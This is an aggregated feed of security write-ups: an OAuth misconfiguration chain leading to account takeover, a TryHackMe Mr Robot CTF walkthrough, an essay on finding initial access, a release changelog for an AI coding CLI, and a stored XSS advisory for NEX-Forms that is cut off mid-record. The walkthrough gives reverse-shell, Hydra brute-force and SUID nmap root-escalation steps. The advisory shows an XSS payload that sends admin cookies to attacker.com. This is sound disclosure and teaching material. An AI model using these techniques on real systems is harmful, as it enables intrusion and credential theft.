    Introduction

    While testing a self-hosted platform during a bug bounty engagement, my teammate Kazi Sabbir and I discovered a series of OAuth misconfigurations that could be chained together to achieve full account takeover of authenticated users.

    Individually, some of these findings might not appear critical. However, when combined, they created a dangerous attack path that allowed an attacker to obtain valid OAuth tokens belonging to another user and gain persistent access to their account.

    After responsibly disclosing the issue, the vulnerability was validated and rewarded.

    In this writeup, I’ll walk through the discovery process, explain the OAuth flow involved, and show how several seemingly minor security weaknesses combined into a critical vulnerability.

    Photo Credit: Gemini

    Understanding the Environment

    During reconnaissance, I used my tool JSpider (https://iamshafayat.github.io/JSpider/) and its Sensitive Path Prober feature to look for interesting files and endpoints that are commonly exposed by web applications.

    One of the paths that returned a 200 OK response was:

    GET /.well-known/oauth-authorization-server

    Finding this endpoint immediately caught my attention because OAuth authorization server metadata often reveals valuable information about how authentication and authorization are implemented.

    After visiting the endpoint, I found the following configuration details:

    {
      "issuer": "https://reducted.target.com",
      "authorization_endpoint": "https://reducted.target.com/api/v2/oauth/authorize",
      "token_endpoint": "https://reducted.target.com/api/v2/oauth/token",
      "registration_endpoint": "https://reducted.target.com/api/v2/oauth/register",
      "response_types_supported": ["code"],
      "grant_types_supported": ["authorization_code", "refresh_token"],
      "token_endpoint_auth_methods_supported": ["none", "client_secret_post"],
      "code_challenge_methods_supported": ["S256"]
    }

    At first glance, everything looked fairly standard and indicated that the application exposed a complete OAuth 2.0 implementation.

    However, as I continued testing the exposed OAuth endpoints, I discovered several security weaknesses that could be chained together into a much more serious issue.

    Finding #1: Open OAuth Client Registration

    The first issue appeared in the OAuth client registration endpoint.

    One important detail about this environment was that the affected subdomain, redacted.target.com, was intended for internal use and did not provide any public user registration functionality. In other words, external users could not normally create accounts or onboard themselves through the application.

    Despite this, I discovered that anyone on the internet could register a new OAuth application without authentication. This effectively exposed a sensitive OAuth management capability that should have been restricted to trusted internal users or administrators.

    POST /api/v2/oauth/register

    Request:

    {
      "redirect_uris": [
        "https://attacker.com/callback"
      ]
    }

    Response:

    {
      "client_id": "generated-client-id",
      "client_secret": "generated-secret",
      "redirect_uris": ["https://attacker.com/callback"]
    }
    • No login.
    • No API key.
    • No verification.
    • Nothing.

    Even more concerning, the server accepted arbitrary redirect URIs without validating domain ownership.

    This meant an attacker could create an OAuth application that redirected authorization codes directly to infrastructure they controlled.

    At this stage, I had the ability to create malicious OAuth clients.

    Finding #2: Authorization Requests Were Processed Without Authentication

    Next, I began testing the authorization endpoint.

    Normally, OAuth authorization requires an authenticated user because the server must know which account is granting access.

    However, when I sent requests directly to the authorization API, I noticed something unexpected.

    POST /api/v2/oauth/authorize

    Request:

    POST /api/v2/oauth/authorize HTTP/2
    Host: redacted.target.com
    Content-Type: application/json

    {
      "client_id": "ATTACKER_CLIENT_ID",
      "redirect_uri": "https://attacker.com/callback",
      "response_type": "code",
      "state": "randomstate",
      "code_challenge": "PKCE_CHALLENGE",
      "code_challenge_method": "S256"
    }

    Response:

    HTTP/2 201 Created
    Content-Type: application/json

    {
      "redirect_uri": "https://attacker.com/callback?code=AUTH_CODE&state=randomstate"
    }

    The endpoint processed requests and returned HTTP 201 responses even when no authenticated session was present.

    Instead of rejecting unauthenticated requests with:

    401 Unauthorized

    the server generated authorization data and returned a valid redirect URL.

    This indicated that authentication enforcement was missing or improperly implemented.

    That immediately caught my attention because OAuth authorization endpoints should never process requests without first validating the user’s identity.

    Finding #3: PKCE Didn’t Fully Protect the Flow

    The platform used PKCE (Proof Key for Code Exchange), which is normally a good security control.

    To test the implementation, I generated a standard verifier & challenge pair and attempted token exchanges. For example, the following Bash command can be used to generate a PKCE code verifier and its corresponding S256 code challenge:

    verifier=$(openssl rand -base64 48 | tr -d '=+/' | cut -c1-64)
    challenge=$(echo -n "$verifier" | openssl sha256 -binary | openssl base64 -A | tr '+/' '-_' | tr -d '=')
    echo "VERIFIER: $verifier"
    echo "CHALLENGE: $challenge"

    Using the generated values, I then attempted token exchanges to evaluate how the OAuth server validated PKCE parameters.

    During testing I discovered that the token endpoint accepted requests without requiring a valid client secret.

    The OAuth metadata already hinted at this behavior:

    "token_endpoint_auth_methods_supported": [
      "none",
      "client_secret_post"
    ]

    In practice, the endpoint allowed token exchanges using only:

    • Authorization code
    • Client ID
    • PKCE verifier

    No client secret validation occurred.

    While this behavior is technically allowed for public clients, it became dangerous when combined with the open registration issue.

    An attacker could register their own OAuth client and immediately use it in attack scenarios.

    Finding #4: Wildcard CORS

    While reviewing responses, I noticed another security concern.

    The application returned:

    Access-Control-Allow-Origin: *

    across various endpoints.

    This meant any website could issue cross-origin requests and read responses from the server.

    Although CORS alone did not directly create the account takeover, it significantly expanded potential attack vectors and increased the impact of the OAuth weaknesses.

    Finding #5: Google SSO Auto-Provisioning

    Google SSO was enabled on the application.

    A simple request to the authentication endpoint confirmed this:

    GET /auth/google

    Response:

    302 Found
    Location: https://accounts.google.com/o/oauth2/v2/auth?response_type=code&redirect_uri=https%3A%2F%2Fredacted.target.com%2F&scope=profile%20email&client_id=REDACTED.apps.googleusercontent.com

    This confirmed that Google SSO was active. Standard Google SSO behavior also allowed new users to be automatically provisioned on their first successful authentication.

    While not a vulnerability by itself, this helped confirm how users authenticated to the platform and interacted with the OAuth ecosystem.

    Building the Attack Chain

    After documenting the individual findings, I began looking at them as a complete attack path.

    The chain looked like this:

    Step 1

    Register a malicious OAuth application.

    POST /api/v2/oauth/register

    Use an attacker-controlled callback URL:

    https://attacker.com/callback

    Step 2

    Generate a PKCE challenge and verifier.

    The platform required:

    code_challenge_method=S256

    which was easy to satisfy.

    Step 3

    Create an authorization URL.

    https://redacted.target.com/oauth/authorize
    ?response_type=code
    &client_id=ATTACKER_CLIENT_ID
    &redirect_uri=https://attacker.com/callback
    &state=randomstate

    Step 4

    Send the link to a victim.

    If the victim was already logged in, the application displayed an OAuth consent screen.

    From the victim’s perspective, they were simply approving an OAuth request.

    Step 5

    Victim clicks “Approve”

    At this moment the application generated an authorization code tied to the victim’s account.

    The browser was then redirected to:

    https://attacker.com/callback?code=AUTH_CODE

    The attacker now possessed a valid authorization code belonging to the victim.

    Step 6

    Exchange the code for tokens

    The attacker exchanged the authorization code through the token endpoint.

    POST /api/v2/oauth/token

    The server returned:

    {
      "access_token": "JWT_ACCESS_TOKEN",
      "refresh_token": "..."
    }

    One important detail was that the access_token returned by the server was a JWT token. Once the attacker obtained this JWT, they could immediately authenticate as the victim and access protected API endpoints.

    Using my tool JSpider and its Javascript Crawler feature, I had previously identified several authenticated endpoints exposed in the application’s JavaScript files. By supplying the stolen JWT in the Authorization header, the attacker could interact with these endpoints as the victim.

    For example:

    # Access victim's profile
    curl -s https://redacted.target.com/auth/user/me \
      -H "Authorization: Bearer ACCESS_TOKEN"
    # List all accessible projects/databases
    curl -s https://redacted.target.com/api/v1/db/meta/projects \
      -H "Authorization: Bearer ACCESS_TOKEN"

    Because the JWT represented the victim’s authenticated session, these requests returned data belonging to the victim, allowing the attacker to access account information, enumerate projects, and interact with the platform using the victim’s privileges.

    At this point the attack was complete.

    Impact

    Successful exploitation resulted in full account takeover.

    An attacker could:

    • Access the victim’s profile
    • Read available projects and workspaces
    • Interact with APIs as the victim
    • Generate long-lived refresh tokens
    • Maintain access for extended periods
    • Potentially access administrative functionality depending on the victim’s permissions

    Because the attack only required the victim to click a crafted link and approve the OAuth request, exploitation was realistic and highly impactful.

    Why This Vulnerability Was Critical

    What made this issue particularly interesting was that no single finding created the full impact.

    The real problem was the combination of:

    1. Open OAuth client registration
    2. Missing authorization checks
    3. Weak OAuth client validation
    4. Wildcard CORS
    5. User interaction through the consent flow

    Security teams often evaluate findings individually.

    Attackers evaluate them as chains.

    When chained together, these weaknesses transformed into a critical account takeover vulnerability.

    Remediation

    The following controls would prevent this attack chain:

    Authenticate OAuth Client Registration

    Only trusted and authenticated users should be able to create OAuth applications.

    Validate Redirect URIs

    Implement strict redirect URI validation and ownership verification.

    Enforce Authentication

    Authorization endpoints should immediately reject unauthenticated requests.

    401 Unauthorized

    Strengthen OAuth Client Validation

    Require proper client authentication where appropriate and validate client credentials consistently.

    Restrict CORS

    Replace wildcard CORS policies with a strict allowlist.

    Monitor OAuth Abuse

    Introduce detection mechanisms for:

    • Suspicious client registrations
    • Unusual authorization activity
    • Malicious redirect URI patterns
    • Excessive token generation

    Lessons Learned

    This finding is a great example of why bug bounty hunting isn’t just about finding individual vulnerabilities.

    Many critical reports come from understanding how different components interact and identifying ways to combine multiple weaknesses into a practical attack chain.

    OAuth is often viewed as a solved problem, but misconfigurations remain common and can have devastating consequences when overlooked.

    Sometimes the most impactful vulnerabilities aren’t hidden behind complex exploits.

    They’re hiding in plain sight, waiting for someone to connect the dots.

    Responsible Disclosure

    This research was conducted under an authorized vulnerability disclosure or bug bounty program.

    Testing was performed responsibly, no unauthorized user data was accessed, and all findings were reported directly to the affected organization before public disclosure.

    Researcher: Shafayat Ahmed Alif

    LinkedIn: linkedin.com/in/iamshafayat

    Twitter/X: x.com/iamshafayat

    How I Found a Critical OAuth Misconfiguration That Led to Account Takeover was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[Mr Robot CTF Walkthrough -TryHackMe Detailed]]> https://tsecurity.de/de/3646316/hacking/mr-robot-ctf-walkthrough-tryhackme-detailed/ https://tsecurity.de/de/3646316/hacking/mr-robot-ctf-walkthrough-tryhackme-detailed/ Sun, 05 Jul 2026 08:39:10 +0200 🕵️ Hacking tsecurity.de
    Writeup by Cobrakai

    I recently solved the Mr Robot CTF room on TryHackMe. The room is rated medium, but what I liked about it is that it connects a lot of basic penetration testing concepts together: web enumeration, robots.txt inspection, source-code review, WordPress login discovery, reverse shells, hash cracking, Linux privilege escalation, and SUID abuse.

    This writeup follows the complete path I used to move from initial access to root. I have also added explanations for every important step, because the real value of this box is not only getting the flags, but understanding why each step matters.

    Lab Setup

    First, I started the TryHackMe machine and connected my Kali Linux machine to the TryHackMe VPN.

    Command to run to connect to the VPN

    To connect Kali with TryHackMe, download your OpenVPN configuration file from:

    TryHackMe → Access → VPN Settings → Download Configuration File

    If the VPN file is on Windows and your Kali machine is running inside VMware, you can transfer it using scp:

    scp <FULL-WINDOWS-FILE-PATH> <KALI-USERNAME>@<KALI-IP>:<DESTINATION-PATH>

    Example:

    scp C:\Users\user\Downloads\cyberpat.ovpn kali@192.168.1.10:/home/kali/

    After that, start the VPN connection from Kali:

    sudo openvpn <FILENAME>.ovpn
    Command to run to connect to the VPN

    Once the VPN was connected, I started the target machine and received the target IP address.

    Opening the Web Application

    I opened the target IP in the browser:

    http://<TARGET-IP>

    The homepage showed a terminal-style Mr Robot themed interface. There were many commands visible on the page, but they were mostly visual distractions. In this room, the actual path comes from proper enumeration.

    Front Web Page of the App Part 1
    Front Web Page of the App Part 2

    Checking robots.txt

    Before running heavy enumeration, I checked the simplest and most common file first:

    http://<TARGET-IP>/robots.txt

    robots.txt is a plain text file placed at the root of a website. It tells search engine crawlers which paths they are allowed or not allowed to crawl.

    In CTFs, this file is often used to hide interesting paths.

    Checking Robots.txt

    Inside robots.txt, I found two interesting entries:

    key-1-of-3.txt
    fsocity.dic

    I opened the first file and got the first key:

    073403c8a58a1f80d943455fb30724b9

    So the first key was recovered successfully.

    Nmap Enumeration

    While checking the web application manually, I also ran an Nmap scan in parallel.

    sudo nmap -sC -sV -O -A <TARGET-IP>

    The goal of this scan was to identify open ports, running services, versions, and possible operating system details.

    Nmap Scan 1

    The scan showed these important services:

    22/tcp   open   ssh
    80/tcp   open   http
    443/tcp  open   https
    Nmap Scan 2

    Some useful observations from the scan:

    • SSH was exposed remotely.
    • HTTP was available on port 80.
    • HTTPS was available on port 443.
    • The web server disclosed Apache/Ubuntu details.
    • The SSL certificate appeared expired.

    These are not direct exploitation points by themselves, but they help build a picture of the target.

    Downloading fsocity.dic

    The second interesting file from robots.txt was:

    fsocity.dic

    I opened it in the browser and saw that it contained a large wordlist.

    Downloading the Wordlists

    This wordlist becomes useful later for the alternative Hydra-based username and password discovery method.

    Directory Enumeration with Gobuster

    Next, I used Gobuster to enumerate hidden directories and files on the web server.

    sudo gobuster dir -u http://<TARGET-IP> -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 50 -k

    Command breakdown:

    dir

    Runs Gobuster in directory brute-forcing mode.

    -u http://<TARGET-IP>

    Specifies the target URL.

    -w

    Specifies the wordlist.

    -t 50

    Uses 50 threads to speed up the scan.

    -k

    Skips TLS certificate verification. This is mostly useful for HTTPS targets, but it does not hurt if reused in the command.

    Gobuster Scan Running

    Gobuster returned several interesting paths, including WordPress-related directories.

    Gobuster Scan Results

    Important findings included:

    /wp-admin
    /wp-content
    /wp-includes
    /wp-login.php
    /license
    /readme

    The /wp-login.php path confirmed that the target was running WordPress.

    WordPress Login Page

    I opened the login page:

    http://<TARGET-IP>/wp-login.php
    Wp-Login Page

    At this point, I needed valid WordPress credentials. The next useful path was /license.

    Inspecting /license

    I opened:

    http://<TARGET-IP>/license

    The page showed a suspicious message.

    Navigated to the /license Directory

    Whenever a page looks suspicious in a CTF, checking the source code is a good habit. I viewed the page source and found a Base64-looking string hidden inside.

    Text at Bottom

    I decoded the Base64 string and recovered credentials for the WordPress user.

    Decoding the Text

    The credentials were:

    Username: elliot
    Password: ER28-0652

    Using these credentials, I logged in to the WordPress admin panel.

    Wp-Login Successfull

    Getting a Reverse Shell through WordPress Theme Editor

    After logging into WordPress, I started exploring the admin panel.

    The important section was:

    Appearance → Theme Editor

    The Theme Editor allowed editing PHP files directly from the WordPress dashboard. This is dangerous because PHP code executed by the web server can be abused to get a reverse shell.

    A reverse shell is a shell where the target machine connects back to the attacker machine.

    In simple terms:

    1. I start a listener on my machine.
    2. I place a reverse shell payload on the target.
    3. The target connects back to my listener.
    4. I get command execution on the target.

    I used a PHP reverse shell payload generated from:

    https://www.revshells.com/
    https://revershells.com/

    Important point:

    The IP address inside the reverse shell payload must be the attacker machine IP, not the target IP.

    To find the attacker VPN IP, use:

    ip a

    Usually, the TryHackMe VPN interface is tun0.

    Then I edited a PHP theme file from the WordPress Theme Editor.

    Replacing with the PHP Reverse Shell Code

    I pasted the PHP reverse shell payload into a theme file such as:

    archive.php
    Pasted the Code

    Before triggering the payload, I started a Netcat listener on my Kali machine:

    nc -lvnp 4444
    Netcat Listener Started

    Then I accessed the modified PHP file from the browser:

    http://<TARGET-IP>/wp-content/themes/twentyfifteen/archive.php
    Accessing that Edited PHP File

    Once the page was opened, the target connected back to my listener.

    Initial Shell Access

    The reverse shell connected successfully.

    Voila, Got the Reverse Shell

    I checked the current user:

    whoami

    The shell was running as the web server user, not as root.

    Then I started enumerating the filesystem.

    Got the Key 2 As Well

    Inside /home/robot, I found:

    key-2-of-3.txt
    password.raw-md5

    The second key file was not directly readable because of permissions. However, the password hash file was readable.

    The hash looked like this:

    robot:c3fcd3d76192e4007dfb496cca67e13b

    This was an MD5 hash for the robot user.

    Cracking the Robot User Hash

    I cracked the MD5 hash and got the password:

    abcdefghijklmnopqrstuvwxyz
    Cracking the Robot Password

    Before switching users, I stabilized the shell.

    A basic reverse shell often behaves badly:

    • Arrow keys may not work.
    • Ctrl + C may kill the shell.
    • su, clear, nano, and similar commands may not work properly.
    • There is no proper TTY.

    To spawn a better shell, I used:

    python3 -c 'import pty; pty.spawn("/bin/bash")'
    Switching to the Robot User

    Then I switched to the robot user:

    su robot

    Password:

    abcdefghijklmnopqrstuvwxyz

    After switching users, I read the second key:

    cat /home/robot/key-2-of-3.txt

    The second key was:

    822c73956184f694993bede3eb39f959

    I confirmed the current user:

    whoami
    id
    hostname

    Privilege Escalation Enumeration

    At this point, I had access as the robot user, but the final key was inside /root, so privilege escalation was required.

    One common Linux privilege escalation technique is checking for SUID binaries.

    SUID stands for Set User ID.

    If a binary has the SUID bit enabled, it runs with the permissions of the file owner instead of the user who executes it.

    If a SUID binary is owned by root, it may be possible to abuse it for root-level execution.

    I searched for SUID binaries using:

    find / -perm -u=s -type f 2>/dev/null

    Command breakdown:

    find /

    Search from the root of the filesystem.

    -perm -u=s

    Find files where the SUID bit is set for the owner.

    -type f

    Only return regular files.

    2>/dev/null

    Hide permission-denied errors.

    Finding the SUID Permissions

    The interesting result was:

    /usr/local/bin/nmap

    This stood out because nmap should normally not be SUID.

    Also, the location was suspicious:

    /usr/local/bin/nmap

    The /usr/local/bin directory usually contains manually installed binaries, not default system binaries.

    Older versions of Nmap had an interactive mode that could execute shell commands. If that old Nmap binary has the SUID bit and is owned by root, it can be abused to spawn a root shell.

    I checked it using:

    ls -la /usr/local/bin/nmap
    /usr/local/bin/nmap --version

    Then I started interactive mode:

    /usr/local/bin/nmap --interactive

    Inside the Nmap interactive prompt, I used:

    !sh

    That spawned a shell.

    I confirmed root access:

    whoami

    Output:

    root

    Then I read the final key:

    cat /root/key-3-of-3.txt
    Voila, Got 3rd Key As Well.

    The third key was:

    04787ddef27c3dee1ee161b21670b4e4

    At this point, all three keys were recovered.

    Alternative Method: Finding Elliot Credentials with Hydra

    The /license method gives the WordPress password quickly, but there is another method using the fsocity.dic wordlist.

    This method is useful because it teaches how to use Hydra against a WordPress login form.

    Cleaning the Wordlist

    First, I checked the size of the original wordlist:

    wc -w fsocity.dic

    The file was very large and had many duplicate entries.

    To clean it, I sorted the file and removed duplicates:

    sort fsocity.dic | uniq > fs-list

    Then I checked the size again:

    wc -w fs-list

    Command breakdown:

    wc -w fsocity.dic

    Counts the number of words in fsocity.dic.

    sort fsocity.dic

    Sorts the wordlist alphabetically.

    uniq

    Removes adjacent duplicate lines.

    > fs-list

    Saves the cleaned output into a new file named fs-list.

    This smaller cleaned wordlist makes Hydra faster.

    Finding the Valid WordPress Username

    Using Burp Suite, I inspected the WordPress login request.

    The important POST parameters were:

    log
    pwd

    WordPress used this error message when the username was invalid:

    Invalid username

    So I used Hydra to test every word from fs-list as a possible username while keeping the password fixed as test.

    hydra -L fs-list -p test <TARGET-IP> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username" -t 30

    Command breakdown:

    -L fs-list

    Use usernames from the file fs-list.

    -p test

    Use one static password: test.

    http-post-form

    Tell Hydra that the target login uses an HTTP POST form.

    /wp-login.php

    WordPress login endpoint.

    log=^USER^&pwd=^PASS^

    Hydra replaces ^USER^ with each username from the file and ^PASS^ with the static password.

    F=Invalid username

    Failure condition. If the response contains Invalid username, Hydra treats the attempt as failed.

    -t 30

    Run 30 parallel tasks.

    Hydra found the valid username:

    elliot

    Important note: Hydra may show test beside the username in this step. That does not mean test is the correct password. It only means the username is valid.

    Finding Elliot’s Password

    After finding the username, I kept the username fixed and brute-forced the password using the same cleaned wordlist.

    WordPress shows a different error when the username is valid but the password is wrong:

    The password you entered for the username

    So I used that as the failure condition:

    hydra -l elliot -P fs-list <TARGET-IP> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=The password you entered for the username" -t 30

    Command breakdown:

    -l elliot

    Use one static username.

    -P fs-list

    Use passwords from the file fs-list.

    F=The password you entered for the username

    If this message appears, Hydra knows the password is wrong.

    Hydra found the valid credentials:

    Username: elliot
    Password: ER28-0652

    These credentials can be used to log in here:

    http://<TARGET-IP>/wp-login.php

    What I Learned

    This room is a good example of why basic enumeration matters.

    The important lessons were:

    • Always check robots.txt.
    • Do not ignore source code comments or hidden strings.
    • Directory brute-forcing can reveal critical application paths.
    • WordPress admin access can lead to code execution if theme editing is available.
    • Reverse shells require the attacker IP, not the target IP.
    • Always stabilize your shell before using commands like su.
    • Readable password hashes can lead to user switching.
    • SUID binaries are a major Linux privilege escalation vector.
    • Unusual SUID binaries in /usr/local/bin deserve attention.
    • Old versions of common tools can become privilege escalation paths.

    The box starts with simple web enumeration and ends with Linux privilege escalation through an old SUID Nmap binary. That makes it a solid practice machine for connecting web exploitation with post-exploitation basics.

    Mr Robot CTF Walkthrough -TryHackMe Detailed was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[Finding Initial Access]]> https://tsecurity.de/de/3645536/windows-tipps/finding-initial-access/ https://tsecurity.de/de/3645536/windows-tipps/finding-initial-access/ Sat, 04 Jul 2026 17:12:48 +0200 🪟 Windows Tipps tsecurity.de

    I recently ran across a comment from a SOC manager on social media that said, "Finding initial access is difficult."

    I thought about it for a moment, and had to ask, "why is that?"

    For context, I transitioned from military service in 1997, and shortly thereafter, was running vulnerability assessment engagements, leading teams on-site to do the work, and completing reporting to the customer. I did "war dialing" (which was a lot of fun), and full-on, enterprise-wide data collection as part of overall vulnerability assessments. I then transitioned into DF/IR work, doing both consulting and FTE work, and I've also worked as a SOC analyst, and even run an internal, global SOC for a while. During my time in consulting, I've been certified to run PCI forensic investigations (did that for 3 yrs), I've done internal investigations in support of HR and legal counsel, and I've done enterprise/global "targeted threat actor" investigations. 

    Something I've learned along the way is that finding initial access has very little to do with "zero day" exploits, or any of the other descriptions that include words like "sophisticated". No, most often, determining initial access into an infrastructure has to do with the fact that we actively avoid doing basic IT hygiene, and we do very little to develop or implement lessons learned. 

    Here's an example of something I'd seen in the early 2000s, and I've seen as recently as the last month, even just last week...SQL injection. Someone receives an alert based on commands run via sqlservr.exe, and as part of the investigation, no initial access beyond the commands themselves is determined. A lot of this has to do with the MSSQL instance being installed in it's default configuration, which means failed login attempts are recorded, but successful logins are not. As such, the successful connections to the MSSQL server are not available in the logs, and in most of the SQL injection cases I've seen, there aren't many failed login attempts. The next step I generally take is to look and see if there's a web server running, and sometimes that's just looking to see if there's a C:\inetpub folder. From there, it's not hard to line up web server logs with the malicious activity, and sometimes you even see sqlmap scanning or some other indications of SQL injection vulnerability discovery. Sometimes, there are no logs available, because someone went in and disabled web server logging, via appcmd.exe.

    Not only do we have to deal with the fact that default installations often not only mean easy access, but there are also vulnerabilities that don't leave traces in log files when they're successfully exploited. Now, reading CVE documentation doesn't really get you there; sometimes, you have to try the exploit or PoC yourself, and take a thorough look at the exploited endpoint to locate indications of a successful exploit, or activity leading up to it. A good many SOC and DF analysts aren't aware that there are other, ancillary locations where indications of an exploit may be found; sometimes, rather than, say, web server logs, we have to look in the Application Event Log, or some other log file. 

    So, yes, finding initial access can be difficult, but it doesn't have to be. Develop an asset inventory, perform attack surface reduction, take a multi-layered approach to protection and detection, and have a tested response plan available that makes sense for your organization. As part of attack surface reduction, don't run default installations of the OS, and when you install an application, make sure that you're aware of whatever else is installed along with it. 

    All of this then leads to much more effective monitoring, because when an alert is generated, you have much greater confidence that it's a true positive detection, how to respond, and then how to bake IR findings back into the process, increasing control efficacy. 

    ]]>         <![CDATA[v2.1.200]]> https://tsecurity.de/de/3644079/downloads/v21200/ https://tsecurity.de/de/3644079/downloads/v21200/ Fri, 03 Jul 2026 19:03:19 +0200 💾 Downloads tsecurity.de What's changed
    • Changed AskUserQuestion dialogs to no longer auto-continue by default; opt into an idle timeout via /config
    • Changed the "default" permission mode to "Manual" across the CLI, --help, VS Code, and JetBrains; --permission-mode manual and "defaultMode": "manual" are accepted alongside default
    • Fixed a crash at startup when disabledMcpServers or enabledMcpServers in .claude.json is set to a non-array value
    • Fixed background sessions silently stopping mid-turn after sleep/wake or when reopening a stalled session
    • Fixed background sessions re-running a turn cancelled with Esc after a stall respawn
    • Fixed background agents never starting again after a crash left a stale daemon.lock whose PID the OS reused
    • Fixed background-agent daemon handover so a reinstalled older build can no longer take over the daemon; build recency is now judged by the version's embedded build timestamp
    • Fixed background-agent roster issues: transient corruption permanently disabling orphan cleanup, older binaries not preserving fields written by newer versions, and socket auth tokens being stripped during daemon restarts
    • Fixed subagents cut off by a rate limit before producing any text output returning an empty result instead of failing cleanly
    • Fixed control bytes from background-agent output reaching the terminal in the agent view
    • Fixed claude agents --plugin-dir <dir> not showing the plugin's agents and skills in the agent view when the flag is placed after agents
    • Fixed project-scoped plugins not loading correctly from git worktrees of the same repository
    • Fixed /mcp server list not tracking focus for screen readers and magnifiers
    • Fixed voice dictation showing a misleading "Voice connection failed" message when a recording captures no audio
    • Fixed rendering flicker under tmux 3.4+ by enabling synchronized terminal output
    • Improved screen-reader output: decorative glyphs are now hidden, transcript symbols read as short labels, and nested tables read as Header: value. lines
    • Improved the install script to explain when installation is killed by the system running out of memory
    ]]>         <![CDATA[Unauthenticated Stored XSS in NEX-Forms Express WP Form Builder (≤ 9.1.10) — CVSS 8.8 High]]> https://tsecurity.de/de/3643710/hacking/unauthenticated-stored-xss-in-nex-forms-express-wp-form-builder-9110-cvss-88-high/ https://tsecurity.de/de/3643710/hacking/unauthenticated-stored-xss-in-nex-forms-express-wp-form-builder-9110-cvss-88-high/ Fri, 03 Jul 2026 15:37:08 +0200 🕵️ Hacking tsecurity.de TL;DR: Any anonymous visitor can POST a JavaScript payload to NEX-Forms’ form submission endpoint. The plugin stores it unsanitized in the database. When any admin opens the Entries panel, the payload executes — silently, automatically, every time. Complete site takeover from a single curl command.

    Tags: #WordPresSecurity #InfoSec #SecurityResearch

    📋 Vulnerability Summary

    • Plugin: NEX-Forms Express WP Form Builder
    • Affected Version: ≤ 9.1.10 (latest as of 2026–03–22)
    • Patched Version: Fixed
    • Disclosure Status: Officially disclosed by WPScan, with vendor approval for disclosure agreement
    • Vulnerability Type: Stored Cross-Site Scripting (XSS)
    • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation
    • CVSS 3.1 Score: 8.8 HIGH
    • CVSS Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    • Auth Required: ❌ None — fully unauthenticated
    • Admin Interaction: ✅ Viewing the Entries page (routine workflow)
    • Scope Change: ✅ Crosses from visitor context into privileged admin session

    🔍 Introduction

    NEX-Forms Express WP Form Builder is a widely deployed WordPress form plugin. While reviewing its form submission pipeline, I found a stored Cross-Site Scripting vulnerability that requires zero authentication to exploit and results in full WordPress administrator compromise.

    The vulnerability chains three distinct weaknesses:

    1. An open AJAX handler accessible without login
    2. Missing HTML sanitization for array-type form fields
    3. Unescaped output rendering in the WordPress admin panel

    Together, these allow a remote attacker to permanently plant malicious JavaScript that fires in every administrator’s browser — automatically, every time they view the form entries.

    ⛓️ Root Cause: Three Weaknesses, One Chain

    Weakness 1 — Open AJAX Handler (main.php:2656)

    WordPress has two AJAX hook prefixes: wp_ajax_ (logged-in users) and wp_ajax_nopriv_ (anonymous users). NEX-Forms registers both for its form submission handler:

    add_action( 'wp_ajax_submit_nex_form',        'submit_nex_form' );
    add_action( 'wp_ajax_nopriv_submit_nex_form', 'submit_nex_form' );  // ← anonymous access

    Registering a nopriv handler is legitimate for a public contact form. The problem is what the handler does — there's no nonce verification, no CSRF check, and no rate limiting:

    function submit_nex_form($entry_action = false) {
        // ONLY check: honeypot field must be empty
        if ((sanitize_text_field($_POST['company_url']) != '') || strstr(..., '@qq.com'))
            die();
        // No: wp_verify_nonce(), check_ajax_referer(), current_user_can()
        // → proceeds directly to processing POST data

    Leave company_url empty and avoid a @qq.com address — you're in.

    Weakness 2 — Array Fields Skip Sanitization (main.php:2883)

    Inside the handler, form fields from $_POST are processed in a loop. Here's the critical divergence:

    if (is_array($val) || is_object($val)) {
        // ← CWE-79: rest_sanitize_array() does NO HTML stripping
        $data_array[] = [
            'field_name'  => $key,
            'field_value' => rest_sanitize_array($val),
        ];
    } else {
        $val = strip_tags($val);              // ← scalar fields ARE stripped ✓
        $data_array[] = ['field_name' => $key,
            'field_value' => sanitize_text_field(str_replace('\\', '', $val))];
    }
    ⚠️ The key fact: rest_sanitize_array() is a WordPress REST API utility. Its entire implementation is return array_values($data) — it reindexes the array and does nothing else. No HTML stripping. No entity encoding. Raw <script>, <img onerror>, and any other HTML passes straight through.

    The fix for scalar fields is right there in the else branch. The developer correctly applied strip_tags() to strings but chose the wrong function for array inputs.

    Weakness 3 — Raw Echo in Admin View (class.db.php:2624)

    When an admin opens an entry in the NEX-Forms dashboard, populate_form_entry() decodes the stored JSON and renders each field into an HTML table. For array-type values:

    foreach ($field_value as $val) {
        // ...
        $output .= rtrim($val, ', ') . '<br />';  // ← no esc_html(), raw HTML output
    }

    rtrim() strips trailing commas and spaces. That's it. The stored <img src=x onerror=alert(document.domain)> is written verbatim into $output, which is echoed directly into the admin page. WordPress's esc_html() — a one-character fix — was never applied.

    🔀 Attack Chain

    Unauthenticated Attacker
            │
            │  1. HTTP POST — no credentials, no nonce, no CSRF token
            │     action=submit_nex_form
            │     nex_forms_Id=1
            │     company_url=              ← honeypot bypassed (empty)
            │     email=attacker@evil.com
            │     payload[]=<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>
            │
            ▼
        wp_ajax_nopriv_ handler fires
        submit_nex_form() passes honeypot check
        rest_sanitize_array() stores raw HTML → wp_wap_nex_forms_entries.form_data
            │
            │  2. Normal admin workflow: NEX-Forms → Entries
            │     (no special action required)
            │
            ▼
        populate_form_entry() decodes JSON
        rtrim($val) echoed without esc_html()
        <img src=x onerror=...> written directly into admin page DOM
            │
            ▼
        Browser renders admin page
        onerror fires automatically (no click required)
        Session cookie exfiltrated to attacker's server
            │
            ▼
        COMPLETE SITE TAKEOVER
        → Rogue admin account created
        → Backdoor plugin installed
        → Full database exfiltrated

    🗄️ Database Evidence

    After submitting the PoC payload, a direct database check confirms the raw HTML is persisted:

    SELECT form_data FROM wp_wap_nex_forms_entries ORDER BY id DESC LIMIT 1;
    [
      {"field_name": "email", "field_value": "attacker@evil.com"},
      {"field_name": "payload", "field_value": ["<img src=x onerror=alert(document.domain)>"]}
    ]

    The <img> tag is stored verbatim with no entity encoding. It persists until manually deleted — meaning every admin who views the Entries page will trigger the XSS, not just the first.

    🖥️ Admin Page Rendered Output

    Lab-confirmed AJAX response when admin loads the injected entry:

    <td valign="top" style="vertical-align:top !important;">
